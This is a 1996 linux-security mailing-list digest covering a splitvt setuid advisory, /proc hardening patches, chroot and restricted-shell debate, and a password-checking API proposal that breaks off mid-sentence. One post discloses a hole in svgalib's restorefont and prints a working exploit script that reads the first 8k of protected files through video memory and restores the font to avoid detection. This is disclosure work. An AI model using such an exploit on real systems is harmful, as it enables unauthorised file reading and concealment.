Tue, 2 Jan 1996 18:12:19 -0500 (EST) Subject: Linux Security FAQ Update#9: Splitvt Vulnerability [ Don't laugh. This message somehow was sitting in Bach's mail queue since Dec 18, 1995! -- alex ] - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update SplitVT Vulnerability Dec 18, 1995 14:48:02 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the Splitvt program prior to version 1.6.3, including the Splitvt program in the Slackware 3.0 Linux distribution. The exploit scripts circulating over the Internet allow local users to gain root access using the Splitvt RISK ASSESMENT If a splitvt binary version prior to 1.6.3 is a setuid-to-root program, any local user that can execute it can gain root access on the system. SOLUTION TO THE PROBLEM To determine if your version of Splitvt is vulnerable use command splitvt -version If the version of your splitvt binary is prior to 1.6.3, locate it and immidiately remove setuid bit from it using a command similiar to chmod 111 /usr/bin/splitvt DISTRIBUTION FIXES Red Hat Commercial Linux 2.0 & 2.1 Red Hat Linux distribution does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Caldera Network Desktop Preview II does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Debian Debian/GNU Linux distribution does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Slackware Version 3.0. Patrick J. Volkerding ([email protected]) has supplied information about the official patch for Slackware 3.0. The official patch can be obtained from one of the following URLs: ftp://ftp.cdrom.com/pub/linux/slackware/patches/splitvt-patch.tgz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Slackware-3.0/splitvt-patch.tgz ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Slackware-3.0/splitvt-patch.tgz Please verify the MD5 hash of the file prior to installing it. 214ce5016dc457acb6e6dd381794d285 splitvt-patch.tgz In order to install the patch use command installpkg splitvt-patch.tgz as root. Other versions of Slackware Please consider upgrading to Slackware 3. In the nearest future the Linux Security FAQ Updates would stop containing any information about versions of Slackware prior to 3. Other Linux Distributions: If your distribution is not listed in this LSF Update and is vulnerable or if you installed splitvt in a distribution that does not support it, you would need to upgrade to splitvt version 1.6.3 by compiling the source code. The official source code of splitvt 1.6.3 can be obtained from one of the following URLs: ftp://dandelion.ceres.ca.gov/pub/splitvt/splitvt-1.6.3.tar ftp://bach.cis.temple.edu/pub/Linux/Security/splitvt-1.6.3.tar ftp://linux.nrao.edu/pub/linux/security/splitvt-1.6.3.tar Please verify the MD5 hash of the file prior to installing it. eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar CREDITS Information in this update is based on the release of the Avalon Security Research. We would also like to thank Sam Lantinga ([email protected]) and Patrick J. Volkerding ([email protected]) for their prompt response to the problem. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMOm6J4xFUz2t8+6VAQGZ4wQAm1nNFBfu1iJ8+p8583JCzlqz3ThAxu2F gbwo4t39H3qO4yFPXyRsivU5yTi2b0s2obIcEsqyVQZeM2dwsoPG23MfrqFb8jll J058yaeEsaopmu7BmMbhT8lyygcaq6t3mPAZFOQxkPHkP2GHXTxY/8ZenjsYJkaG fydFMPRb+Po= =O3MP - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Jeff Uphoff Date: Tue, 2 Jan 1996 21:53:58 -0500 Subject: Slight mail hub problems: three "dropped" posts. - -----BEGIN PGP SIGNED MESSAGE----- Due to a temporary DNS glitch involving one of the primary mail hubs for the linux-security list, three posts that were approved today did not get properly delivered to some of the subscribers in the following top-level domains: .gov .mil .net .org Portions of the posts' headers follow: Message-ID: Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: rxvt security hole Message-ID: <[email protected]> Date: Tue, 2 Jan 1996 04:57:59 -0500 (EST) >From: David J Meltzer To: [email protected] Subject: elvis Message-Id: <[email protected]> To: [email protected] cc: [email protected], [email protected] In-reply-to: from [email protected] on Tue, 02 Jan 1996 05:05:40 EST. Date: Tue, 02 Jan 1996 14:14:35 -0500 From: Marc Ewing Subject: Re: rxvt security hole Rather than posting these messages to the list a second time (thus wasting bandwidth and duplicating the posts in both the archive and the digest list), I'll just point everyone to the list archives from which posts can be retrieved by two different means: Via FTP: linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960102 Via E-mail: Send an e-mail message to "[email protected]" with the following statement in the *text* of the message (not in the subject header!): get linux-security linux-security.960102 Note: The first rxvt post, from David J. Meltzer, was also sent out to the linux-alert mailing list, and it appears (thus far at least) that it was delivered successfully to all subscribers of that list. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://www.cv.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMOnvlHoDqzGe1QXFAQGANgQA0mHs5PNBDtpHG3PA232+nwpdORmOK94T Ch6/lUEmlEGEjV6VevgWWSUNGT3XLfxnLky8Wile799IIXHrtfluCerGqt7mjpu+ EoRMynOCRH2kAAt6gUElxGBpd7NfggNZJYelon7NWvH3ecSPqPICIBhdSjj4WgqP K0JcKsonezs= =c4ze - -----END PGP SIGNATURE----- ------------------------------ From: Marek Michalkiewicz Date: Wed, 3 Jan 1996 21:33:34 +0100 (MET) Subject: /proc insecurity Hi all! As we probably already know, the /proc filesystem still has security problems. Here is another (simpler) idea how to fix it. I came up with it last night - I just can't sleep well until this is fixed... :) Note that this has not been tested, and I don't have any real patches yet, but it looks reasonably easy to implement. The question: is this enough? Any obvious problems that I missed? Comments? The problem is that one can open /proc//mem, hold the file descriptor, then have exec some setuid/setgid/unreadable program and still read its memory even though the process is not dumpable (for a good reason - it may have access to sensitive information which shouldn't be available to the user, example: ssh and secret host key). 1.3.xx ====== How about this: for every process track the /proc//mem open count (add a new field to struct task_struct). You can do that using the open/release operations, initialize it to zero for the initial task, and set it to zero for a newly created child process in fork(). Now, if this count is nonzero for the current process, and we try to exec a setuid program, behave as if the process was ptraced: execute it but ignore the setuid and setgid bits. While working on this I noticed one more potential problem: it is possible to ptrace unreadable programs (the process becomes undumpable but only _after_ it is ptraced). To test: run strace on any binary which you can execute but can't read. It will work, and it may reveal some potentially sensitive information as well. Even if strace can't read /proc//mem anymore, system call arguments may still contain some sensitive information. Suggested fix: if the process is ptraced or the /proc//mem open count is nonzero, and we try to exec a program, check that it is readable by the user, not only executable. If it is not readable, refuse to execute it and return an error. Please look at possible problems with this, and comment on it. 1.2.xx ====== For 1.2.xx, there is an additional problem with /proc permissions getting out of sync with reality. This has been fixed somewhere in 1.3.xx, but probably requires too many changes to put it 1.2.xx. The only simple fix I can see for 1.2.xx is to make /proc//* owned by root for all processes. This may break some things (strace will not show data passed to system calls using pointers, it will only show the pointers), but at least you can have a choice: less insecure /proc (default) and a few things broken slightly, or the old behaviour (using the "insecure" /proc mount option) if you don't care about security. BTW: strace is not a Linux-specific program (the source says it works on sunos4 too, which has no /proc filesystem) - it should be possible to modify it so that it does not assume /proc//mem is available. If it isn't, fall back to using the ptrace system call. Possible? If there will be 1.2.14 (please...), here are other security problems to fix besides /proc (just a reminder): - - MAP_DENYWRITE denial of service - - setuid/setgid bits not cleared on write by non-owner I will try to make /proc patches for 1.2.xx and 1.3.xx (as described above) available in a week or two. Regards, Marek ------------------------------ From: [email protected] Date: Wed, 3 Jan 1996 18:54:14 -0500 (EST) Subject: about chroot. [I am CC'ing this to linux-security mailing list. -- Alex] > Umm.. there are no users on a system without the programs. Are you saying > you can't chroot his shell? You have to fiddle a bit, and it is not as > 'secure' as it could be, but chroot will work. If modifying some scripts and > variables, chrooting a coupla programs, etc.. Is not enough, then you > obviously have a user on your hands that should not be on the system. That is obviously incorrect. The function of chroot is to changes the entire environment. That environment consists of all the parts of the tree that can be accessed by that process. In Linux as in most of modern UNIX systems majority of binaries are compiled with shared libraries that are locted in /lib /usr/lib /usr/X11R6/lib etc etc etc. The number of programs that are compiled statically and do not require access to anything in system directories (that is directories above the user's home) is very small. This means that unless one can provide an environment where entire system tree is being cloned below user's home directory, majority of programs won't work. One of programs that won't work is ls, because it requires ability to extract uid/gid information from /etc/passwd and /etc/group files that are located above user's directory. There are two ways to clone a filestructure. They could be cloned below users directory: / /dev /usr /lib /var/CHROOTED/user <---- chroot'ed process | \--> /usr \ /dev | cloned in chroot'ed environment /lib | /var / This is the case where cloning entire system does not seem to be a good idea. First of all due to the fact that by cloning filesystem *below* user's owned directory, system administrator creates interruptable paths (i.e. whole parts of the tree would be controlled by a user which would allow him/her to perform all kind of operations that could alter the chroot environment). The second possible way is to make both user's home and s system clone subdirectories of one directory and then chroot into that directory. In that case there is no difference that I can see between a normal non-restricted environment with / as the root of the tree and such chroot'ed environment. If you want to lock out a user from the ability to execute all commands but a specific set, the better solution would be to create a special group, make that user a member of it; make everybody else a member of a group "users"; make all directories that contain binaries that should not be executed by restricted user owned root:users 750 and finally create a directory of "allowed" commands with protecting mode root:root 755 It is important to protect directories and not files because you still want to correctly working setgid programs. > > I believe what you want is the chroot command. (man chroot..) > Wrong. it is a lot harder to restrict a user into a directory than to > restric a running program. Basically, it is usually not worth the time... Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Theodore Ts'o" Date: Wed, 3 Jan 1996 20:58:56 -0500 Subject: Re: /proc insecurity From: Marek Michalkiewicz Date: Wed, 3 Jan 1996 21:33:34 +0100 (MET) How about this: for every process track the /proc//mem open count (add a new field to struct task_struct). You can do that using the open/release operations, initialize it to zero for the initial task, and set it to zero for a newly created child process in fork(). Now, if this count is nonzero for the current process, and we try to exec a setuid program, behave as if the process was ptraced: execute it but ignore the setuid and setgid bits. I really prefer the idea of invalidating open file descriptors to /proc//mem over this idea, since making the setuid fail is much more surprising than simply invalidating the fd's to /proc//mem. Invalidating the fd's isn't all that hard. Look at how tty_hangup() in drivers/char/tty_io.c for a model for how to do things. Basically, you just replace the operations structure with one where the read and write calls return EOF or an error. - Ted ------------------------------ From: Ian Jackson Date: Fri, 5 Jan 96 14:25 GMT Subject: Re: /proc insecurity Marek Michalkiewicz writes ("/proc insecurity"): > As we probably already know, the /proc filesystem still has security > problems. [...] > > 1.2.xx > ====== > > For 1.2.xx, there is an additional problem with /proc permissions > getting out of sync with reality. This has been fixed somewhere in > 1.3.xx, but probably requires too many changes to put it 1.2.xx. > > The only simple fix I can see for 1.2.xx is to make /proc//* > owned by root for all processes. I have done this, and it works. My patch is below. You have to mount the procfs with -o paranoid for it to take effect. I've also prevented /proc//fd from working, as you can otherwise steal filedescriptors in much the same way as you describe. > This may break some things (strace will not show data passed to system > calls using pointers, it will only show the pointers), but at least > you can have a choice: less insecure /proc (default) and a few things > broken slightly, or the old behaviour (using the "insecure" /proc mount > option) if you don't care about security. > > BTW: strace is not a Linux-specific program (the source says it works > on sunos4 too, which has no /proc filesystem) - it should be possible > to modify it so that it does not assume /proc//mem is available. > If it isn't, fall back to using the ptrace system call. Possible? Yes, possible - I even tried it. Unfortunately I couldn't get even the unmodified Debian strace source package to compile on my system. So, in the meantime strace doesn't work properly. *sigh* Ian. diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/base.c linux-1.2.13-procpar/fs/proc/base.c --- linux-1.2.13/fs/proc/base.c Sat Oct 22 15:41:18 1994 +++ linux-1.2.13-procpar/fs/proc/base.c Wed Sep 27 21:35:29 1995 @@ -67,6 +67,13 @@ #define NR_BASE_DIRENTRY ((sizeof (base_dir))/(sizeof (base_dir[0]))) +int proc_paranoid(struct inode *i) { + if (i->i_sb->s_mounted->i_mode & S_ISVTX) + return 1; + else + return 0; +} + int proc_match(int len,const char * name,struct proc_dir_entry * de) { if (!de || !de->low_ino) diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/inode.c linux-1.2.13-procpar/fs/proc/inode.c --- linux-1.2.13/fs/proc/inode.c Tue Aug 1 11:06:57 1995 +++ linux-1.2.13-procpar/fs/proc/inode.c Thu Sep 28 01:52:26 1995 @@ -45,7 +45,7 @@ }; -static int parse_options(char *options,uid_t *uid,gid_t *gid) +static int parse_options(char *options,uid_t *uid,gid_t *gid,mode_t *mode) { char *this_char,*value; @@ -69,6 +69,11 @@ if (*value) return 0; } + else if (!strcmp(this_char,"paranoid")) { + if (value) + return 0; + *mode |= S_ISVTX; /* sticky bit represents paranoia */ + } else return 0; } return 1; @@ -89,7 +94,8 @@ printk("get root inode failed\n"); return NULL; } - parse_options(data, &s->s_mounted->i_uid, &s->s_mounted->i_gid); + parse_options(data, &s->s_mounted->i_uid, &s->s_mounted->i_gid, + &s->s_mounted->i_mode); return s; } @@ -206,22 +212,34 @@ return; case PROC_PID_MEM: inode->i_op = &proc_mem_inode_operations; - inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFREG; + else + inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR; return; case PROC_PID_CWD: case PROC_PID_ROOT: case PROC_PID_EXE: inode->i_op = &proc_link_inode_operations; inode->i_size = 64; - inode->i_mode = S_IFLNK | S_IRWXU; + if (proc_paranoid(inode)) + inode->i_mode = S_IFLNK; + else + inode->i_mode = S_IFLNK | S_IRWXU; return; case PROC_PID_FD: - inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFDIR; + else + inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR; inode->i_op = &proc_fd_inode_operations; inode->i_nlink = 2; return; case PROC_PID_ENVIRON: - inode->i_mode = S_IFREG | S_IRUSR; + if (proc_paranoid(inode)) + inode->i_mode = S_IFREG; + else + inode->i_mode = S_IFREG | S_IRUSR; inode->i_op = &proc_array_inode_operations; return; case PROC_PID_CMDLINE: @@ -243,10 +261,12 @@ inode->i_op = &proc_link_inode_operations; inode->i_size = 64; inode->i_mode = S_IFLNK; - if (p->files->fd[ino]->f_mode & 1) - inode->i_mode |= S_IRUSR | S_IXUSR; - if (p->files->fd[ino]->f_mode & 2) - inode->i_mode |= S_IWUSR | S_IXUSR; + if (!proc_paranoid(inode)) { + if (p->files->fd[ino]->f_mode & 1) + inode->i_mode |= S_IRUSR | S_IXUSR; + if (p->files->fd[ino]->f_mode & 2) + inode->i_mode |= S_IWUSR | S_IXUSR; + } return; } return; diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/fs/proc/link.c linux-1.2.13-procpar/fs/proc/link.c --- linux-1.2.13/fs/proc/link.c Mon Jan 23 21:04:10 1995 +++ linux-1.2.13-procpar/fs/proc/link.c Wed Sep 27 20:29:52 1995 @@ -76,6 +76,10 @@ if (fd>=NR_OPEN) return -ENOENT; /* should never happen */ + if (proc_paranoid(inode) && !suser()) { + return -EPERM; + } + ino = inode->i_ino; pid = ino >> 16; ino &= 0x0000ffff; diff -ru --exclude=*.o --exclude=.depend linux-1.2.13/include/linux/proc_fs.h linux-1.2.13-procpar/include/linux/proc_fs.h --- linux-1.2.13/include/linux/proc_fs.h Sun Feb 12 19:11:02 1995 +++ linux-1.2.13-procpar/include/linux/proc_fs.h Wed Sep 27 21:35:29 1995 @@ -129,4 +129,6 @@ extern struct inode_operations proc_link_inode_operations; extern struct inode_operations proc_fd_inode_operations; +extern int proc_paranoid(struct inode *i); + #endif ------------------------------ End of linux-security-digest V1 #55 *********************************** linux-security-digest/1995/v01.n056100664 1767 1767 57066 6074770163 16101 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #56 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 10 January 1996 Volume 01 : Number 056 restorefont security hole Re: about chroot. Re: about chroot. Re: about chroot. Re: /proc insecurity Password checking - JFH the way forward ? ---------------------------------------------------------------------- From: David J Meltzer Date: Fri, 22 Dec 1995 16:33:00 -0500 (EST) Subject: restorefont security hole Linux's svgalib utility restorefont, required to be suid root, has a problem in that it does not revoke suid permissions before reading a file. Similar bugs may exist in other svgalib utilities. The restorefont utility serves two functions. First, it will read a font from a file and write it to the console as the vga font. Second, it will read a font from the console and write it out to a file. Luckily, the specific bug in restorefont can only be exploited if someone is at the console, reducing its overall impact on the security of the system as a whole. In writing the utilities, the authors are aware of the fact that when writing out the font, suid permissions must first be given up; it is in fact commented as such in the code. However, when reading in a font, the program is still running with full suid root permissions. This allows us to read in any file for the font that root has access to (anything on a local fs). The applicable code to read in the file in restorefont is shown below: #define FONT_SIZE 8192 unsigned char font[FONT_SIZE]; if (argv[1][1] == 'r') { FILE *f; f = fopen(argv[2], "rb"); if (f == NULL) { error: perror("restorefont"); exit(1); } if(1!=fread(font, FONT_SIZE, 1, f)) { if(errno) goto error; puts("restorefont: input file corrupted."); exit(1); } fclose(f); We can see from this that the file to be read in has to be at least 8k, as if it is not, the program will produce an error and exit. If the file is at least 8k, the first 8k are read into the buffer, and the program proceeds to set whatever the contents of the file are to the font: vga_disabledriverreport(); vga_setchipset(VGA); /* avoid SVGA detection */ vga_init(); vga_setmode(G640x350x16); vga_puttextfont(font); vga_setmode(TEXT); At this point, the console will now look quite unreadable if you are reading something other than a font from that file. But, the data that is put into the font is left untouched and is readable using the -w option of restorefont. We then read the font back from video memory to a new file, and our job is complete, we have read the first 8k of a file we shouldn't have had access to. To prevent detection of having run this, we probably shouldn't leave an unreadable font on the screen, so we save and then restore the original font before reading from the file. The complete exploit is shown below: Program: restorefont, a svgalib utility Affected Operating Systems: linux - Slackware 3.0, others with svgalib Requirements: logged in at console Temporary Patch: chmod -s /usr/bin/restorefont Security Compromise: user can read first 8k of any file of at least 8k in size on local filesystems Author: Dave M. ([email protected]) Synopsis: restorefont reads a font file while suid root, writing it to video memory as the current vga font; anyone at console can read the current font to a file, allowing you to use video memory as an 8k file buffer. rfbug.sh: #!/bin/sh # This shell script exploits a problem with restorefont # it reads a file into the video memory as the vga font # and then writes the file back out from video memory # thus allowing any user at console to read 8k of any file # on a local filesystem. # # Usage: rfbug.sh filename-to-read filename-to-write # # Dave M. ([email protected]) # restorefont -w /tmp/deffont.tmp restorefont -r $1 restorefont -w $2 restorefont -r /tmp/deffont.tmp rm -f /tmp/deffont.tmp ------------------------------ From: Grant Taylor Date: Thu, 4 Jan 1996 09:30:29 -0500 Subject: Re: about chroot. > [I am CC'ing this to linux-security mailing list. -- Alex] >> Umm.. there are no users on a system without the programs. Are you saying >> you can't chroot his shell? You have to fiddle a bit, and it is not as >> 'secure' as it could be, but chroot will work. If modifying some scripts and >> variables, chrooting a coupla programs, etc.. Is not enough, then you >> obviously have a user on your hands that should not be on the system. [Rehash of chroot man page deleted] > If you want to lock out a user from the ability to execute all commands > but a specific set, the better solution would be to create a special > group, make that user a member of it; make everybody else a member of a > group "users"; make all directories that contain binaries that should not > be executed by restricted user owned Has rsh been mentioned yet? It's the usual solution to this problem. I know that pdksh has an rsh mode, and bash can supposedly be compiled in rsh mode. - -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Two out of three Americans believe in the existence of Satan. 37 percent say they have been tempted by the devil. -- http://www.sfgate.com/examiner/new/stories/NEWS-13388.html ------------------------------ From: "Alexander O. Yuriev" Date: Thu, 4 Jan 1996 10:45:56 -0500 (EST) Subject: Re: about chroot. [mod: quoting trimmed. --okir] On Thu, 4 Jan 1996, Grant Taylor wrote: > Has rsh been mentioned yet? It's the usual solution to this problem. > I know that pdksh has an rsh mode, and bash can supposedly be compiled > in rsh mode. The rule number one here has to be "never assume". If restricted shells were more or less "stable" in what they can restrict the jail-type environents would have been described in every single book about Unix system administration. Using restricted shell assumes that one can totally control the environment in which the program executes. That is very hard to achieve if user has an ability to modify the environment, for example is able to create files. A set of processes that can be generated by the locked user should be always known not to be able to create a possibility for a new, unknow process to be generated. If one gives user in such environment access to any kind of command that could be used to "copy" a file (including but not limited to cp, cat and shell redirection), there is a very strong possibility that the locked users could be able to create a new executable file. Finally, there are *toolkits* that are designed to allow one to escape from such environments. If your locked user has access to such toolkit (and they are not so hard to find), your feeling of security ("He is in a restricted shell, what can he do!?") would create a very dangerous sense of security. Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 4 Jan 1996 13:31:30 -0500 Subject: Re: about chroot. I once had to set up a group of users in a "chroot"ed area, long ago on a planet not very far away. Yes, you do have to copy virtually everything in a raw Unix / Linux / POSIX system, to get a normal user environment - except, of course, the programs, data, services, etc. to which you're not giving those users access. Since the latter will probably be very few things, the amount of stuff copied will use a lot of disk space. Be warned. You then have to add back in anything that is specially installed on your system, such as applications. Do you only have a license to install one copy of the application? Is your license manager file-based rather than network-based, so that you can't properly manage licenses on both top-level and lower-level areas? Look out. Do you need to do some file initialization on boot-up in the chroot'ed area, that just always gets done by default from your /etc/rc* or /etc/rc*/* files in the top-level area? Such as clearing the utmp file? You'd better make sure that it gets done. You should give chroot'ed accounts to any support people that will have to try and figure out why "X" doesn't work in the chroot'ed area, when it is working just fine in the top-level area. We had one account to which people had to log in, which chroot'ed to the restricted area and then ran 'login' again. The second login read in the information from the restricted /etc/passwd! If you don't do this, then the passwords and other information set by the users in the restricted area will not be reflected in the top-level passwd file! There may have been other reasons for doing it this way, but that's one that jumps out at me. This was done with all the releases of System V that were available for the VAX-11/78X systems. One thing I remember doing was incorporating TCP/IP networking. The version we used was based on files in /dev/. After I fixed a lot of things, it worked perfectly with other BSD-based systems. However, we didn't move the /dev/net* files to the restricted area, so networking was unavailable - a plus in this instance! With modern systems, BSD-based sockets are used: I don't know how you'd keep the users off the network, in that case. Perhaps chroot'ed processes should also be allowed to bear flags that tells whether the various network services are available to them. But this requires mods to the kernel and all systems utilities that use the modified structures. I could do that back then; but it's not so easy, these days. (Unless you're only responsible for a single system, the users are docile, and it's a Linux system. Not necessarily easy even then.) Also, in System V, the 'lp' program communicated with the 'lpd' daemon via a FIFO. I had to set up a system that passed data from the FIFO in the restricted area back up to the top-level area, with some transla- tion (e.g., when printing a file named /home/joe/file, change it to /restricted/home/joe/file) and some local interpretation. In most modern systems, BSD-based 'lpr' systems are used, which communicate via sockets. As mentioned in the last paragraph, this may be an advantage or a disadvantage, depending on whether you wanted to restrict access or not. Mail also communicated via FIFOs. Again, I set up a system to pass data up to the mail daemon top-level. I also had to set up something to put mail in the restricted level, using proper file locking (the definition of which seems to have changed with each implementation of a mail system that I've seen) to avoid conflicts with people reading mail, while not blocking and holding up other incoming mail. I know I had to change this a few times to accommodate unforeseen problems, but my memory is fuzzy on details. Also again, on BSD-based systems mail uses sockets, so outgoing mail is not restricted by 'chroot'; but you will still have to worry about incoming mail for restricted users, and mail between the restricted and top-level users on the same system. There may have been some other subsystems that required special-purpose programs to pass data between the levels; but my memory is a bit hazy on that by now. In general, if you set up a data flow diagram for all programs on your system (a massive undertaking!), you may be able to see what programs might need special treatment to work properly. More practically, if you look at the dozen programs your users are likely to use all the time, and analyze those, you should be mostly OK. If anything breaks after people start using the restricted area, you can do a normal fire drill to get it fixed. Another consideration: think about whether, for your purposes, you should have a top-level "shadow" home directory for each of your users in the restricted area, or whether you should just list them in your /etc/passwd file as having home directories /restricted/home/joe (e.g.). The problem with the latter is with system programs that read files in the home directory: file names in those files will (typically) NOT point to the restricted file system! This will make some things break for the restricted users; it's also a way for them to surreptitiously gain access (indirectly) to the top-level file system. The problem with the former comes when people try to access files in (e.g.) ~joe: this would refer to the "shadow" directory, instead of the real directory. On the whole, I consider that less of a problem. Yet another consideration, and then I should stop and get back to my paid work. Consider the collection of data for both accounting and security purposes. Programs running wholly in the restricted area won't be able to log anything to the top-level area. Again, "syslog" these days is mostly socket-based; but what about shell accounting? What about those clever shell scripts you call from /etc/profile? (Assuming that you use the Korn shell: the C shell doesn't seem to have a consistently-named equivalent across implementations.) I embedded a few lines of code in the Korn shell so that all accounting information and some security information went up via, yes, another FIFO. I didn't allow use of any other shell, monster that I am. (The only other shell then available on S5 was the Bourne shell, unless I took the time and trouble to compile csh for them, which I didn't, since there was no demand for it.) I'm not sure that we worried completely about keeping utmp and wtmp updated on the top-level system: this may be a concern for you. X-based GUIs, being network-based, may pose a problem to you that I didn't even consider back then. I hope this helps. I know that this reply is also addressed to a couple of mailing lists; so the list administrators will determine whether this is on-topic. I just felt that you all should know that there's more to setting up a restricted environment that just tossing a 'chroot' in somewhere. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Ian Jackson Date: Sat, 6 Jan 96 18:59 GMT Subject: Re: /proc insecurity (Oops, resending this because I got the address wrong.) [Mod: Old ("wrong") headers removed. --Jeff.] Aaron Ucko writes ("Re: /proc insecurity"): > [Ian Jackson wrote:] > > Marek Michalkiewicz writes ("/proc insecurity"): > > > As we probably already know, the /proc filesystem still has security > > > problems. [...] > > > > ... > > > The only simple fix I can see for 1.2.xx is to make /proc//* > > > owned by root for all processes. > > > > I have done this, and it works. My patch is below. You have to mount > > the procfs with -o paranoid for it to take effect. > > > > I've also prevented /proc//fd from working, as you can otherwise > > steal filedescriptors in much the same way as you describe. > ... > > Aren't less draconian measures possible? "There's gotta be a better way." These measures may be draconian, but they are demonstrably secure. There is a strong tendency here to say "ah, but in situation XYZ this is OK", and to construct very complicated mechanisms. This is simply not good enough, because your security then depends on you having designed and implemented all of the complicated security mechanisms correctly and not overlooking anything. I'm worried that in 1.3.x it won't be easy to show to someone that /proc isn't harmful to their security, in the way that it is easy for me to show someone that my patched 1.2 isn't a security hole. Why should I believe it is secure if you can't easily show it to me ? > Was the problem that you couldn't compile it or that it segfaulted when > you tried to run it? If it was the latter, the problem is due to a > symbol clash I noticed and reported to its maintainer (Rick Sladkin), > but who hasn't released a fixed version yet: Both strace and libc > have functions called syscall; the library attempts to call strace's > version and crashes. (The solution, of course, involves renaming > syscall in strace.) I couldn't compile it. The number of symbol clashes &c with system header files was tremendous. Perhaps I was doing something wrong, but this is a Debian source package so you're *supposed* just to be able to type `make -f debian.rules build'. Ian. ------------------------------ From: Ian Jackson Date: Wed, 10 Jan 96 14:02 GMT Subject: Password checking - JFH the way forward ? [Mod: I'd like to ask that all replies to this post go to the author, Ian Jackson, rather than to the list. Early-comers to this list will probably remember the thread on shadow passwords that Would Not Die. I'd like to avoid that problem this time (though Ian's post is *not* a rehash of the old advocacy arguments). Ian, if you could summarize any good feedback that you get in response to this and post it to the list as a follow-up, I'm sure that it would be appreciated. --Jeff.] 0. Introduction I've been having a (to my mind) rather unsatisfactory email exchange with the Linux maintainer of the (JFH) shadow password suite, and I thought I'd try saying some of the things here that I don't seem to be expressing well there. It will be obvious to everyone that the current state of the "API" for password checking is far from ideal. I use the quotes because there is not so much an API for password checking as a set of interfaces for getting the information needed to do the check yourself. It seems to me that if we are going to change anything we should consider carefully where we would like to get to. We should borrow (or if necessary design) a good API that is easy to use, and then try to get it used within the Linux community. 1. Idealisation Designing a good password-checking API is very simple: what the programmer wants is a function that tells them whether a password is correct, and the call needs the username that the password is thought to belong to. So we end up with a function: int status= check_password(char *username, char *password); This would transparently support long passwords, if we provide a #define in which specifies the length that programs should use for their internal buffer. Now, funnily enough someone has already implemented this API: SunOS4 has: int pwdauth(char *user, char *password); According to the manpage this returns "0" for "OK". It doesn't say what kind of error returns it gives; I'd propose "1" for "wrong password" and "-1" (with errno) for "system call failure". I therefore propose that this API should be implemented for Linux in the libc in the obvious way. The code is pretty trivial. Sun have implemented pwdauth by having it do an RPC call to a hopefully-permanently-running daemon which is the cause of many system failures, but I'm not suggesting we do it that way. For reasons best known to Sun, pwdauth doesn't seem to be present in Solaris 2. The maximum length of a password should probably be _PASSWORD_LEN, which is also used by getpass(3). According to the manpage on my system that's set to 128 at the moment. 2. Backwards compatibility There is one small problem with the approach above: if we want to use it to move towards shadow passwords and longer passwords we have to change and recompile every program that does password checking. I have devised a scheme that will allow (practially?) all existing binaries which do password checking to continue to function in the presence of shadow passwords. Programs which set passwords will have to have a minor change made. The scheme works by replacing crypt() with a host-specific function that can only be computed by privileged programs; unprivileged ones have to get the computation done for them. The replacement version of crypt functions as follows: it looks at the first character of the salt. If it is not a "$" then the usual crypt function is computed. If it is a "$" then the second character is used as an index into a table of host-specific magic secret 